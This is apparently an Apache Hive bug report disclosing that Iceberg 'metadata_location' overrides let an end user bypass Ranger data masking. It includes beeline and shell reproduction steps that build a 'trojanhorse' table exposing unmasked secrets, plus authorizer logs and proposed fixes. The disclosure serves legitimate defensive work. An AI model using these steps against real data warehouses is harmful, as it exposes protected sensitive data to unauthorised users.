Iceberg: metadata location overrides can cause data breach

Set to bug/blocker instead of enhancement due to its security related nature, Hive4 should not be released w/o fix for this. Please reset if needed.

Context: 

• There are some core tables with sensitive data that users can only query with data masking enforced (e.g. via Ranger). Let's assume this is the `default.icebergsecured` table.
• An end-user can only access the masked form of the sensitive data as expected...
• The users also have privilege to create new tables in their own sandbox databases - let's assume this is the `default.trojanhorse` table for now.
• The user can create a malicious table that exposes the sensitive data non-masked leading to a possible data breach.
• Hive runs with doAs=false to be able to enforce FGAC and prevent end-user direct file-system access needs

Repro:

• First make sure the data is secured by the masking policy:

  <kinit as privileged user>
  beeline -e "
  DROP TABLE IF EXISTS default.icebergsecured PURGE;
  CREATE EXTERNAL TABLE default.icebergsecured (txt string, secret string) STORED BY ICEBERG;
  INSERT INTO default.icebergsecured VALUES ('You might be allowed to see this.','You are NOT allowed to see this!');
  "
  
  <kinit as end user>
  beeline -e "
  SELECT * FROM default.icebergsecured;
  "
  
  +------------------------------------+--------------------------------+
  |         icebergsecured.txt         |     icebergsecured.secret      |
  +------------------------------------+--------------------------------+
  | You might be allowed to see this.  | MASKED BY RANGER FOR SECURITY  |
  +------------------------------------+--------------------------------+
  

• Now let the user to create the malicious table exposing the sensitive data:

  <kinit as end user>
  SECURED_META_LOCATION=$(HADOOP_CLIENT_OPTS="-Djline.terminal=jline.UnsupportedTerminal" beeline -e "DESCRIBE FORMATTED default.icebergsecured;" 2>/dev/null |grep metadata_location  |grep -v previous_metadata_location | awk '{print $5}')
  beeline -e "
  DROP TABLE IF EXISTS default.trojanhorse;
  CREATE EXTERNAL TABLE default.trojanhorse (txt string, secret string) STORED BY ICEBERG
  TBLPROPERTIES (
    'metadata_location'='${SECURED_META_LOCATION}');
  SELECT * FROM default.trojanhorse;
  "
  
  +------------------------------------+-----------------------------------+
  |          trojanhorse.txt           |        trojanhorse.secret         |
  +------------------------------------+-----------------------------------+
  | You might be allowed to see this.  | You are not allowed to see this!  |
  +------------------------------------+-----------------------------------+
  

Currently - after HIVE-26707 - the rwstorage authorization only has either the dummy path or the explicit path set for uri:  

Permission denied: user [oozie] does not have [RWSTORAGE] privilege on 
[iceberg://default/trojanhorse?snapshot=%2Fwarehouse%2Ftablespace%2Fexternal%2Fhive%2Ftrojanhorse%2Fmetadata%2Fdummy.metadata.json]

Permission denied: user [oozie] does not have [RWSTORAGE] privilege on 
[iceberg://default/trojanhorse?snapshot=%2Fwarehouse%2Ftablespace%2Fexternal%2Fhive%2Ficebergsecured%2Fmetadata%2F00001-f4c2a428-30ce-4afd-82ff-d46ecbf02244.metadata.json] 

With custom location it's even not passed to the authorizer:

2023-05-17 19:38:51,867 INFO  org.apache.hadoop.hive.ql.Driver: [a49356b4-1b7a-4c9d-9b70-81af12c0465f HiveServer2-Handler-Pool: Thread-253]: Compiling command(queryId=hive_20230517193851_8b9f0ad7-2ae1-4078-b76a-e51c31321b0b): 
CREATE EXTERNAL TABLE default.policytestth (txt string, secret string) STORED BY ICEBERG 
TBLPROPERTIES (
  'metadata_location'='hdfs://test.local.host:8020/warehouse/tablespace/external/hive/policytest/metadata/00001-a3e46c1b-318b-4b46-886a-c6ea591f63c1.metadata.json')
...
2023-05-17 19:38:51,898 DEBUG org.apache.iceberg.mr.hive.HiveIcebergStorageHandler: [a49356b4-1b7a-4c9d-9b70-81af12c0465f HiveServer2-Handler-Pool: Thread-253]: 
Iceberg storage handler authorization URI 
iceberg://default/policytestth?snapshot=%2Fwarehouse%2Ftablespace%2Fexternal%2Fhive%2Fpolicytestth%2Fmetadata%2Fdummy.metadata.json

Mandatory changes required for securing tables:

• Custom location needs to be passed to the Authorizer

Changes required for usability - e.g. to eliminate the need to require a policy for each tables:

• Default location needs to be calculated based on warehouse/database def. location
• CREATE/ALTER with default locations should not involve RWStorage Authorization or should be handled a special way in the Authorizer.